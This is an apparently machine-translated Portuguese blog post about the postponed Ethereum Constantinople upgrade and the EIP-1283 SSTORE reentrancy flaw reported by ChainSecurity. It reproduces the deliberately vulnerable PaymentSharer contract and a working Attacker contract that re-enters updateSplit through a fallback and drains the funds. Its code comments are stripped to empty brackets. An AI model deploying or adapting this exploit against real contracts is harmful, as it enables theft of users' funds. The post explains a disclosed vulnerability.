* Muitas pessoas chamam este evento de "hard fork", mas Vitalik é contra .A tão esperada liberação de Constantinopla deveria ocorrer
no dia 17 de janeiro, às 04:00 UTC , no entanto, mais uma vez, brutalmente interrompendo o exército de desenvolvedores de
contadores de
contagem regressiva, isso não se tornaria realidade.
30 horas antes do lançamento oficial, devido à vulnerabilidade encontrada, guiada pelo princípio “melhor entrelaçar do que não interromper”, a atualização foi adiada indefinidamente.
Um evento que despertou a atenção de toda a comunidade foi a oferta imprudente da
EIP 1283 , que reduz o custo de execução da Instrução SSTORE (sic!). Em geral, uma das principais direções da atualização foi a implementação mais barata e rápida de instruções particularmente pesadas.
Os eventos de 15 de janeiro se desenvolveram da
seguinte forma (horário no PST):
- às 8 da manhã, o ChainSecurity publica uma descrição da vulnerabilidade ;
- ali mesmo, Martin Holst Swende (o principal guarda de segurança da Ethereum Foundation) acorda todos os principais desenvolvedores, lembrando que faltam apenas 37 horas para a atualização, e aqui está ;
- antes do meio dia, há um acalorado debate nas salas de bate-papo e na "voz";
- No jantar, foi decidido cancelar a atualização.
A situação foi agravada pelo fato de que o tempo para implantar o navio foi muito mal escolhido: quase metade dos nós conseguiu ser atualizada e todos os outros foram chutados de forma metodológica e persistente nas últimas semanas. Como resultado, agora os nós atualizados precisarão ser atualizados novamente (para cima ou para baixo ... mda). E quem não teve tempo e dormiu com tudo - bem feito, eles não precisam fazer nada.
Então tudo era previsível - o mercado reagiu com um colapso de 5% da taxa de éter (haha). Muitos, é claro, ficaram indignados ao dizerem que o preço da instrução pode afetar o sigilo, por que você colocou lá e tudo mais ... Mas, na verdade, nada de incomum, tudo é como todo mundo.
É melhor ler sobre os detalhes técnicos da vulnerabilidade no artigo original da
ChainSecurity , não é difícil descobrir isso.
Quem é preguiçoso para mergulhar no código - o ponto é que, antes da atualização, a instrução SSTORE era tão cara que não havia como mudar o "estado" de outros contratos, depois que o Constantinopla atualizava as instruções, ficava mais barato (e) e você podia alterar o "armazenamento" muitas vezes, alterando assim a lógica do contrato vulnerável.
Código vulnerável do contrato (com meus comentários):
pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; // , ( ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } // , function deposit(uint id) public payable { deposits[id] += msg.value; } // function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // , ( split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; // ( fallback- ) a.transfer(depo * splits[id] / 100); // - ( ) b.transfer(depo * (100 - splits[id]) / 100); } }
Código do contrato de ataque:
pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } // *, PaymentSharer function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback , transfer- function () payable external { address x = victim; // , ( , updateSplit(0, 0)), .. Split assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } }
* está faltando no original, mas em algum lugar deve haver uma inicialização do formulário:
init (0, “Endereço do contrato do atacante”, “endereço da carteira do atacante”)
antes de chamar o método de ataque.
Obviamente, existem muitas perguntas no próprio contrato PaymentSharer, sobre as quais somos mostrados vulneráveis, ele é cego em si mesmo e é nele que o problema
e não no preço da SSTORE, e em geral - eles não encontraram um exemplo vivo na rede de lançamentos, mas decidiram jogar pelo seguro, mesmo assim, o preço do erro pode ser muito alto (todos se lembraram do DAO há muito morto aqui).
Em geral, a comunidade Ethereum tem muitos eventos interessantes: a luta dos cardeais do mercado cinza (GPU vs ASIC) se intensificou, o que por si só merece um artigo separado, o próximo lançamento do Bacon Chain está ganhando impulso - o ano promete ser rico em eventos e intrigas.